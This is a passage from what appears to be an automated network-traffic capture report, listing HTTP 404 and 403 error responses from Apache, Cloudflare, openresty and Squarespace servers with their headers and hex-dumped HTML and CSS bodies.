0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2a 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 7d 0a 69 6d 67 20 7b 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 30 3b 0a 7d 0a 75 6c 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 32 65 6d 3b 0a 7d 0a 68 74 6d 6c 20 7b 0a 20 20 20 20 6f 76 65 72 66 6c 6f 77 2d 79 3a 20 73 63 72 6f 6c 6c 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 62 37 39 62 37 3b 0a 7d 0a 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 a5 e1 a5 a4 a5 ea a5 aa 22 2c 20 4d 65 69 72 79 6f 2c 20 22 a3 cd a3 d3 20 a3 d0 a5 b4 a5 b7 a5 c3 a5 af 22 2c 20 22 4d 53 20 50 47 6f 74 68 69 63 22 2c 20 22 a5 d2 a5 e9 a5 ae a5 ce b3 d1 a5 b4 20 50 72 6f 20 57 33 22 2c 20 22 48 69 72 61 67 69 6e 6f 20 4b 61 6b 75 20 47 6f 74 68 69 63 20 50 72 6f 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 37 35 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 0a 7d 0a 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 34 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 7d 0a 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 68 32 20 7b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 09:18:35 GMTContent-Type: text/htmlContent-Length: 19268Connection: keep-aliveServer: ApacheLast-Modified: Fri, 13 May 2022 08:04:11 GMTAccept-Ranges: bytesData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 62 6f 64 79 2c 68 31 2c 70 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 62 6f 64 79 2c 68 74 6d 6c 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 59 61 6b 75 48 61 6e 4a 50 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 e3 82 b7 e3 83 83 e3 82 af 2c 20 22 48 69 72 61 67 69 6e 6f 20 53 61 6e 73 22 2c 20 22 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 20 50 72 6f 4e 20 57 33 22 2c 20 22 48 69 72 61 67 69 6e 6f 20 4b 61 6b 75 20 47 6f 74 68 69 63 20 50 72 6f 4e 22 2c 20 56 65 72 64 61 6e 61 2c 20 4d 65 69 72 79 6f 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 34 30 33 32 33 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 36 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 36 34 30 70 78 29 20 7b 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 30 2e 30 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 61 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 34 37 45 46 30 3b 0a 20 20 20 20 20 20 7d 0a 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:35 GMTContent-Type: text/html; charset=UTF-8Content-Length: 4514Connection: keep-aliveX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Fri, 25 Oct 2024 09:18:50 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pF9Gae16L7iCByAK25GREmSwzECapPXVdOdaOhDbtZ4%2Bnvyf5zdsPhiDyu%2FkCH45rBHQOth8ViOtUMnHO9Y5tXgsjKaMAI5QdzCjuF9l8vui1Xrneoqi4rqMqFBs5XX%2F"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d811ec2eb7b468a-DFWData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 65 6e 74 69 6f 6e 20 52 65 71 75 69 72 65 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 Data Ascii: <!DOCTYPE html><!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--><!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--><!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--><!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--><head><title>Attention Required! \| Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex,
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 09:18:36 GMTContent-Type: text/htmlContent-Length: 19268Connection: keep-aliveServer: ApacheLast-Modified: Fri, 13 May 2022 08:04:11 GMTAccept-Ranges: bytesData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 62 6f 64 79 2c 68 31 2c 70 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 62 6f 64 79 2c 68 74 6d 6c 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 59 61 6b 75 48 61 6e 4a 50 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 e3 82 b7 e3 83 83 e3 82 af 2c 20 22 48 69 72 61 67 69 6e 6f 20 53 61 6e 73 22 2c 20 22 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 20 50 72 6f 4e 20 57 33 22 2c 20 22 48 69 72 61 67 69 6e 6f 20 4b 61 6b 75 20 47 6f 74 68 69 63 20 50 72 6f 4e 22 2c 20 56 65 72 64 61 6e 61 2c 20 4d 65 69 72 79 6f 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 34 30 33 32 33 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 36 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 36 34 30 70 78 29 20 7b 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 30 2e 30 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 61 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 34 37 45 46 30 3b 0a 20 20 20 20 20 20 7d 0a 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:37 GMTContent-Type: text/html; charset=UTF-8Content-Length: 4514Connection: keep-aliveX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Fri, 25 Oct 2024 09:18:52 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5BiCntKaIJs50QwKWppdWCdbC3cPGCd921LIySZ4gGXG0BWeLusJ9AIqxkQ681gx98c1bEBIB52dzVCq4wItk60E%2FMrnJAxywMsS0Rs4Gid57eYSgQY3VOBs0dKjOzZx"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d811ec9ec680bca-DFWData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 65 6e 74 69 6f 6e 20 52 65 71 75 69 72 65 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f Data Ascii: <!DOCTYPE html><!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--><!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--><!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--><!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--><head><title>Attention Required! \| Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Fri, 25 Oct 2024 09:18:37 GMTContent-Type: text/htmlContent-Length: 552Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Fri, 25 Oct 2024 09:18:38 GMTContent-Type: text/htmlContent-Length: 552Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenCache-Control: no-cache, must-revalidateContent-Length: 2059Content-Type: text/html; charset=UTF-8Date: Fri, 25 Oct 2024 09:18:38 UTCExpires: Thu, 01 Jan 1970 00:00:00 UTCPragma: no-cacheServer: SquarespaceX-Contextid: AhtlCSDZ/51dOMlLhData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 2e 36 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 31 70 78 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 34 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 61 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 